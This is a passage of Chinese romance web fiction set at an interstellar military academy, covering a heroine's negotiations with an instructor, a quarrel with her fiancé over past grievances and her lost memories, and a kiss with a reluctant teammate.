池映菡将目光移回来，她手指无意间摩挲了手上的银戒，上面小米粒似的的钻忽明忽灭，竟然没有被抛光闪耀的银色完全压制。
“我自认为没本事瞒过医疗部。”池映菡丝毫不露怯，“老师，不，长官。我这个年纪理应拥有直视任何权威的胆气，如果非要说有什么私心……大概是想做英雄？或者说，不忍心看同胞落难，那个组织敢向普通人出手，我就无法坐视不管，不仅是我，我相信任何一位有血性的北洛学子，都有这种情结。”
池映菡继续转动指环，语速越说越快。
“入学通知书上不是写了吗？‘帝国全体民众的利益高于己身，人类荣耀高于一切，你们是一群注定会为帝国历史铸造荣光的年轻力量。’不管我今后将会是什么样的人，但至少现在，作为学生，我时刻铭记这段话。”
一直没什么存在感的简瑜文点了点头，她的眼神温柔却有力。
在邬伊斯明确表达拒绝后，她却并没有附和过邬伊斯的话。
邬伊斯用更靠近她的那只手点了点桌面，提醒她回神。
简瑜文笑了笑，态度诚恳：“抱歉，一不小心走了神，让您见笑了。我先前在离嵊余星不远的喀尔蒙星教学，那里的孩子多数没有梦想，不关心政治和经济，更不清楚帝国当今的政策趋势，如果问他们最大的愿望，他们大概率会回答投胎成首都行少爷或小姐这样的玩笑话。”
“因为那里与嵊余星一样，处于帝国边境，时常战乱，直至前些年才稳定下，喀尔蒙也因此建起了第一所公立学院。喀尔蒙的安稳，少不了那些在星际战争中为帝国而战的勇士，他们有一部分正是出自于北洛，是吗？”
因为提前查过这位新任导师的资料，池映菡就知道简瑜文一定会帮助自己。
而简瑜文的加入，大概率也能动摇邬伊斯。
北洛的领导和教师有大部分都是战功赫赫的教官，除非退休，否则战时很少回到首都星亲自教授课程。
譬如邬伊斯，喀尔蒙的驻军就出自他手下军队。
当然，池映菡没有全指望简瑜文能与邬伊斯有什么私交，即便同在一个星球上，繁忙的军事长官估计也与一个普通支教老师没什么交集。
但池映菡仍旧认为，他会被简瑜文的话打动片刻。
只因他们曾共同见证过废墟中的奇迹。
喀尔蒙这三个字会唤起他对战后时期的记忆，同时也释放出另一个信号，即和平并非堡垒，它需要无数人的勇气来不断加固维护。
池映菡不信，这位在战后急流勇退的军官身上流淌的全是冷血。
薄汗从池映菡的额角渗出，她屏息凝视，终于听到邬伊斯的应答：“好吧。”
池映菡还没来得及高兴，邬伊斯补充道：“不过，我有几个条件。孤木不成林，我需要你向我证明，你有能力带领你的队伍迎来胜利。”
这次，他威严的目光转向如死水般寂静的梵陵。
“如果你能说动梵陵继续组队，并能让你们的队伍在期中联赛中取得总排名第一，我就通过你的申请。”
19.第19章
池映菡答应邬伊斯时很爽快，但出了审讯室的门，就听见梵陵一声冷哼。
他走得很快，几乎头也不回的往楼下走。
池映菡连忙追了上去，她意识到梵陵这次是真的在生气，因为他正头也不回地往宿舍相反的方向走。
此时正是下课时间，年轻Alpha们体格健壮，像是一堵堵墙，池映菡不得不边挤边道歉。
一路走过来，池映菡不知说了多少抱歉和借过。
终于，走到一条宽敞些的道路上后，池映菡忍无可忍喊他：“梵陵！”
这一声引起了不少路人的注意。
她刚要抬脚，却看见前方有张熟悉面孔。
金发耀眼，他就像是降临在人群中的另一个太阳。
余致嘉顺着她的方向看去，他明显认识梵陵，仅需一眼，便抬臂准确在人潮中拦住了梵陵。
人群自动让开一条路，也有人选择在道路旁驻足，不断往这边打量。
池映菡几步靠近，对梵陵说：“怎么不回宿舍？”
梵陵还没回答，余致嘉就插入两人间的谈话，问池映菡：“你不该向我解释一下吗？”
池映菡觉得莫名其妙：“我需要向你解释什么？”
昨天那一拳下去，余致嘉的唇角磕到了牙齿，现在都还有明显的伤口。
他指了指自己的伤：“你做的好事你自己不记得了？”
余致嘉这张脸确实惊为天人，这无伤大雅的小伤根本不能算白璧微瑕，反而易惹人心疼。
更何况，这伤口旁边就是嫣红的唇舌，他说完还用舌尖顶了顶口腔，好让提醒她患处，让她看个明白。
这样一张漂亮的脸，很难不令人侧目而视，池映菡却能做到心无绮念。
她扫了一眼，说：“疼就去医疗部诊治，医药费和精神损失费我等会儿会转给你。”
夹在两人中间的梵陵垂着眸，在注意到余致嘉的动作后，他鼻间轻哼一声，抬腿就要绕路离开。
池映菡还惦记着自己的任务，慌忙之下，拽住他的手腕。
梵陵内心坚决，他力气也不小，挣脱不开后，竟然直接带着她往前走。
“池映菡，你不要太过分。”余致嘉冷声，“我今天来可不是为了看你和队友在大庭广众之下拉拉扯扯，你如果还顾及余、池两家的脸面，最好坐下来和我谈谈。”
池映菡说：“我们之间早就没有共同语言了。”
声音坦荡，压根没回头。
这种无视对生性自负骄矜余致嘉来说，无异于是当众羞辱他，他捏紧拳头站在原地，觉得整个人就像是被剥光了似的，浑身血液向上，直往脑门涌动。
“池映菡！”他深吸一口气，强迫自己冷静，压低声音说，“你当我真不知道你在外面养的那个吗？你们池家就把我当傻子是吧！我们马上就要订婚了，你却再三挑战我的底线，你不顾我的脸面，难道连池叔叔的遗愿都不顾了吗？”
池映菡有些头疼，她终于拉住前面的梵陵，回头无奈道：“你想要什么，能不能直接点。”
梵陵眼神扫过手腕，她的指节发白，手心干燥温暖。
他也随池映菡回头，看向不远处的余致嘉。
他的眼白居多，因此望向人时无端有种冷漠和桀骜感。
可余致嘉比他更有底气，恶狠狠瞪了他一眼，对池映菡说：“我有事和你商量。”
“时间。”
兴许是刚才那番话起了作用，池映菡难得没有拒绝他。
“就现在。”余致嘉走近，他心口那块疙瘩仍旧压着，眼神忍不住往他们两人相交的手腕处去瞥。
梵陵这次若无其事同她说话，算是回应了她先前的那个问题：“我去医疗部。”
话题立即回到他们二人之间。
午后阳光正好，却也将他的苍白脆弱照得一览无余。
即便是身处人群中，梵陵也像是雨后密林树荫下的苔藓，有种苍翠的阴郁感。
池映菡知道他不舒服，说：“我结束后会回宿舍找你，我们需要再坐下来好好谈谈。”
“我昨晚已经表达的很清楚，没什么好说的。”
说完，他不等余致嘉再次暴上心头，抽身离去。
池映菡叹了口气，终究没有再挽留。
她转身，注意到周围还有不少人在看，忍下心中的烦躁对余致嘉说：“走吧。”
余致嘉与她并肩，他们逆行于一众Alpha间，折返回了最近的教学楼。
因为是午休时间，余致嘉和池映菡挑了一间无人的教室。
原先在余致嘉身边跟随的同行者贴心为他们关上了门，在外面等着。
池映菡靠在第一排的桌子上，双臂环抱着胸，开门见山：“说吧，什么事。”
这副姿态，明显是不打算为他多浪费片刻时间。
“你知不知道你在做什么？”余致嘉质问。
没有外人的窥伺，他所有的理智和忍耐都化为乌有。
他的红色眼瞳比焰火更加明艳，自带凛然威压。
“你一直没和那个姓苏的断联，背着我把他养在家里，我可以装作当不知道。那个梵陵，我也可以睁一只眼闭一只眼，但你为什么……为什么这么折磨我？”
喉间音色变调，余致嘉缓了一口气，接着控诉：“明明已经在变好了，我不知道你对我的态度突然急转直下。”
池映菡被他的声音吵得脑袋疼，昨天到今天，她只要睁着眼，精神就时刻处于高度紧张状态。
亢奋的情绪固然一直吊着她的精神，她不想听余致嘉诉说委屈。
“说够了吗？”池映菡深吸一口气，“我不知道这几年我们关系有没有缓和，但很遗憾的告诉你，我在外派任务中失去了这三年的记忆，如果你想埋怨的话，我无话可说，照单全收。”
说完这些，余致嘉瞳孔一缩，不可置信：“失忆？不可能。”
他的话过于肯定，可惜池映菡想来拒绝接收他的情绪，因此几乎是习惯性忽略他的不对劲。
池映菡眉目显露出不耐：“如果你不相信，我可以给你看医疗部给出的诊断书。如果没有重要的事，我先走了。”
她觉得自己刚才真是鬼迷心窍，怎么会突然对余致嘉抱有期待。
白白浪费时间。
余致嘉见她腰腹微动，直接挡在她身前，将她重新逼退回原位。
突如起来的
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靠近，让池映菡上半身下意识往后靠。
没等她开骂，余致嘉已经捧起她的脸，低头与她对视。
刚才没注意到，这三年间余致嘉的个子比原来更高了，长期的训练，让他的肌肉更加紧实，肩宽窄腰，Alpha的生理优势让他很轻易就能将池映菡围困在两臂间。
池映菡更加烦躁：“你犯什么神经？”
余致嘉红宝石般的双眸端详着她，没有因她的话而生气，反倒一反常态，语气严肃且认真：“我记得我带你回首都星时，你还能偶尔清醒，怎么会突然失忆？”
池映菡愣神片刻，忘记推开他。
“是你带队支援了我？”
任务报告书上没有提起这个细节，救援人员的详细名单并未公布，包括校园公示网上，也只写了有临近小队前往支援。
没想到就是余致嘉。
“那当然。”余致嘉皱眉，回忆起她那时的惨状，说，“你那时候伤得很重，意识模糊，但从我们俩的对话来分析，你那时还没有失忆。”
但失忆这件事本就有多重可能，池映菡犹豫：“医疗部说，有可能是药物带来的副作用。”
医疗部给出的解释是，她体内虽有药物残留，但医疗部没有她的第一手病情资料，不足以查清楚具体作用。
加上叶鸿影带来的医疗团队已经用过几次药，就更加无法分析出具体药剂用量和成分。
医疗部还给出了另一种可能，这次失忆是人体的自我保护机制，让她潜意识遗忘了痛苦的记忆。
池映菡自认为心性坚忍，所以她更加倾向于是药物副作用导致的失忆。
余致嘉的目光落在她的颈间，不知想起什么，欲言又止。
池映菡拂开他的手，示意他不要靠这么近。
“有什么不对劲吗？”
“有。”余致嘉犹豫，“我记得你说过，回来后就要解散队伍。”
“是吗？我还说了些什么？”池映菡脑子一片空白，她觉得胸口有点闷，但始终不知道如何排解。
余致嘉再度凑上前，却被她推开，他面色有点不好看，冷哼一声，说：“忘记了。”
池映菡一听就知道他是脾气又上来了。
她不惯着余致嘉，翻了个白眼就要往门口走。
“你真想知道？”余致嘉急匆匆追上前，高大身躯先一步挡在门前。
这般无赖行径，池映菡才不会顺着他的意，她站在三步之外，始终与他保持一段距离。
他们间划开一条无形的鸿沟。
池映菡选择了最尖锐，却最少情感牵扯的解决策略：“你开个价。”
果不其然，余致嘉听到这话，脸色阴沉下去：“你把我当什么了？我什么时候缺你那点钱。”
池映菡耸肩，摆手无奈道：“那我这里恐怕没有你想要的东西了。”
鸢尾紫的双眸优雅沉稳，明明是带着些精明和凌厉感的上挑眼型，但放在这张脸上，与人两两相望之时，总让人误以为她眸中含情。
这么多年，余致嘉在她这里还是没有丝毫长进。
连三秒都没坚持够，他便故作矜持，先移开视线：“你又没有读心术，怎么知道没有。”
20.第20章
池映菡轻笑，好整以暇望向他。
戒指在她手上转动，她的从容不迫像是种引导和鼓励。
余致嘉说：“我有救援返程时的全部录音，如果你愿意，我会在期中联赛后复制一份给你。”
这确实是值得池映菡关注的新线索，但她仍旧镇定，只是在无意间加快了拨弄戒圈的动作。
“条件。”池映菡说。
“把那个姓苏的Omega交给我。”余致嘉说，“我只需借用三天。”
池映菡指尖一滞，垂眸宣告谈判失败：“那免谈，让开。”
余致嘉拦在门口，寸步不让：“你不舍得？就这么护着他吗？”
悠悠一声叹息响起，池映菡尽量让自己耐心，她解释：“这个问题的关键不在于我。苏苍梧是个活人，他有他的自由和尊严，我没办法替他做决定。”
“如果你真有你自己话里的一半磊落，为什么要反过来践踏我的尊严？”
余致嘉下巴微颤，他眼眶微红，不知是气愤更多，还是委屈更多。
“我们青梅竹马，为什么要走到今天这一步呢？我甚至不对你的忠诚抱有期待，但你为什么总是不肯信我一次！”
池映菡按了按算账的太阳穴，脑袋里有一根筋在突突直跳。
她时常会觉得和余致嘉沟通起来很吃力。
“在质问我之前，你应该问问自己值不值得我的信任。”池映菡懒得和他发脾气，反而拿出教导孩子的口吻，向余致嘉解释，“我们组队参加帝国少年特招赛，突遇埋伏，我受伤在原地等了你一整夜，直至被淘汰时我才发现，你竟然已经离开了赛事所划定的范围……”
“我不是已经解释过很多次吗？我是为了去找支援！”余致嘉有些抓狂，他将自己的金发一股脑往后撩起，表情痛苦，五官狰狞。
天知道，他被母亲打断腿都没露出过这副模样。
“我们的所有设备都被洗劫一空，我迷了路，冲出去的时候已经接近凌晨，等我带人回来的时候，你已经不见了……这么多年，我们每次吵架你都会提起，我知道你很介意，我也很抱歉，但我当时真的尽力了，你怨我、恨我都好，能不能接受我的道歉。”
说到最后，他面上明显带了与池映菡同样的疲惫感。
道歉是真心的，但错误已经发生，迟钝如余致嘉，终于在这么多年后才意识到，有些过往就像是伤疤，即便不会再痛，但它仍旧会附着血肉皮肤上，将记忆不断巩固，好随时给他沉痛一击。
余致嘉在这种反复的内心鞭挞中闭上双眼，他害怕看到池映菡的厌烦。
他整个人就像是头落败的雄狮，垂着头靠在门上，弯腰任由垂散的金色短发掩盖脸上情绪。
池映菡知道，余致嘉这种骄傲到有些自负的人，让他认错的难度堪比时空逆流。
他却能毫不吝啬将道歉说给她听。
但池映菡要的不是这些，她不会因此感到喜悦，更不会因他的忏悔痛苦而感到快意。
她再次认同自己的判断，和余致嘉说话真的很费劲。
“如果你还需要从这件陈年旧事上得到心理安慰，那我可以很明确告诉你，从你第一次你向我道歉，我就原谅你了。余致嘉，你只顾讲述你的真心悔过，有没有想过，我每一次说出的原谅也是真心的？”
余致嘉猛地抬头，惊喜地抬起头。
然而池映菡的话并未停止：“但是，我们这么多年都错会对方意思了。那天晚上孤身等待的经历我现在已经忘得差不多，我早就不在意当年的经过了。”
从希望等到绝望，这么多年，池映菡左腿上的那条伤痕早就愈合。
甚至不需要特意掩饰，她连修复疤痕的手术都没有做。
“我真正在意的是成绩。你当时明明可以作为第一个出去的人，保留我们队的排名，但你忘记了。余致嘉，我这么一个不服输的人，将所有的希望寄托在你身上，但你搞砸了。我不害怕冒险，也不害怕失败，但我对那些本该属于我的荣耀耿耿于怀。”
余致嘉的脸色在她波澜不惊的语调中逐渐惨白。
他们两人，一人眸光闪耀，一人黯淡无光，此消彼长。
最终，池映菡想一次性将过往恩怨画上结尾：“说到底，我真正在意的其实是你这个人。我原以为你是个可靠的队友，是可以知心的朋友，但现在看来，其实我们连基本的沟通都成问题，余致嘉，你不合格。”
说完，池映菡拍了拍余致嘉的肩膀，示意他往旁边站站，不要继续挡路。
毕竟，她现在要去争取另一个能力出色的队友。
余致嘉回过神，他眼眶通红，喉结滚动几下。
本来已经让开了路，他却在池映菡按下门把手的那刻攥住她的手腕。
“明天是期中联赛的首日，能不能再给我一次证明自己的机会？”
余致嘉的手攥得很紧，眼神一错不错盯着她，近乎哀求。
池映菡没有直接拒绝，她太明白余致嘉这副嘴脸，这是还没死心呢。
如果这时候坚持拒绝，他肯定会锲而不舍追上来，那他们将又一次陷入互证环节。
这根本就是徒劳无功。
为了脱身，池映菡暂且给出点希望：“你容我考虑一下，今晚给你答复。”
余致嘉这才放开她的手腕，不过他仍紧皱着眉头，对她的话半信半疑。
可如今他并没有底气向她讨要证明。
池映菡抽身离去，未曾再多分给他一个眼色。
在余致嘉这里浪费了太多时间，池映菡回到宿舍时午休已经结束，大部分学生已经开始上课，宿舍空荡荡的，少有人走动。
她回到宿舍，打开门就看到梵陵正在窗边抽烟。
说是抽烟也不对，他只是点燃一根烟，放在修长苍白的两指间，让烟静静燃烧。
风将掺杂了薄荷味的烟往房间内吹，他蓝绿挑染的发尾隔着烟雾，混杂成迷离色块。
池映菡皱眉：“烟瘾有那么大吗？”
听到声音，梵陵转身，几步走到桌边，将烟捻灭。
他顺势坐下，上半身随意靠在椅背上，双腿却合拢摆正，池映菡觉得他并没有看上去那样放松。
梵陵想了想，为她随口的吐槽认真回复了一句：“没有。”
“那你这是在干什么？”
“治病。”他言简意赅，并未多做解释。
这个话题有些尴尬，池映菡转移话题：“明天的联赛…
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…”
梵陵打断她：“你恐怕要再找个队友，我刚刚把退队申请表发给你了，你签一下字。”
池映菡在他身前站定，并未急着在他旁边坐下。
自上而下的俯视，让她能更清楚看到梵陵的所有动作，包括他仰头时袒露的脖颈。
室内不冷，他今天没有课，因此穿了常服。
白色背心外只罩了一间针织渔网罩衫，大片皮肤若隐若现，他就这么毫无防备抬头看向她，绷直的颈部线条像是亟待折颈而死的祭品天鹅。
池映菡转移话题，将手搭在他肩膀上，温声询问：“还难受吗？”
皮肤接触的一瞬间，她能感受到手下肌肉的僵硬。
梵陵撇过头，砸吧一下嘴唇，觉得口腔寂寞，还想再去桌上的烟盒里抽出一支来。
“不好受才闻烟味。”
刚拿出一支细长的烟，池映菡眼疾手快，将它夺过来。
她指尖点了点梵陵侧颈，如愿以偿的听到他呼吸因她而停滞。
空气中还残存着淡淡的薄荷烟味。
池映菡似笑非笑，将那只夹着烟的手也搭在他肩上。
“梵陵，你知不知道你很别扭。”
梵陵不语，任凭她将右腿膝盖挤进自己的□□。
她附身低头，身上的香水味盖过烟味。
梵陵觉得自己的牙根发痒，他舌尖不动声色抵上虎牙，想要偏过脸去，不与她对视。
池映菡捏住他下巴 ，烟蒂近在唇边，他低头想就这么趁着她的手将烟夺回。
唇将要碰到时，池映菡故意似的，两指一松，整支烟啪嗒落地。
池映菡眼中没有半分可惜，轻飘飘勾着唇角说：“抱歉。”
梵陵冷哼一声，准备让气氛和烟一起冷落。
“生气了？”池映菡问。
梵陵觉得她比狐狸更狡猾，尤其是明知故问的时候。
池映菡不气恼，接着问：“本尊已经在这里了，为什么还执着于替代品？”
梵陵无法回答，他觉得对方简直是个无赖。
“我要退队。”他答非所问。
“你不舍得的，梵陵，你有时候真的很容易口是心非。”池映菡顿了顿，眸色是幽深的一片紫。
“我可以帮你。”她声音很轻，幸而两人距离很近，梵陵甚至可以听清她尾调的气音。
沙哑中带着些缠绵缱绻的意味。
池映菡眼神已经放在了梵陵那颗隐约闪烁着的银色唇钉上。
几个呼吸后，唇钉随之而动：“我不需要你的施舍。”
“不是施舍。”池映菡纠正，“是嘉奖。”
他们的发丝逐渐靠近，梵陵甚至能感受到，她发尾扫过皮肤时掀起的陌生刺痒。
“梵陵。”
池映菡念他名字时，就像是在念某种古老而诡谲的唱词。
说者无意，听者沉迷。
池映菡说：“我给你恃宠而骄的资格。”
梵陵垂眸，嘲讽道：“你还想吊着我？好听话谁不会说。”
下一秒，他接收到了令他目眩神迷的指令。
“那我们就接吻。”
梵陵抬眸，正遇上她温热柔软的唇。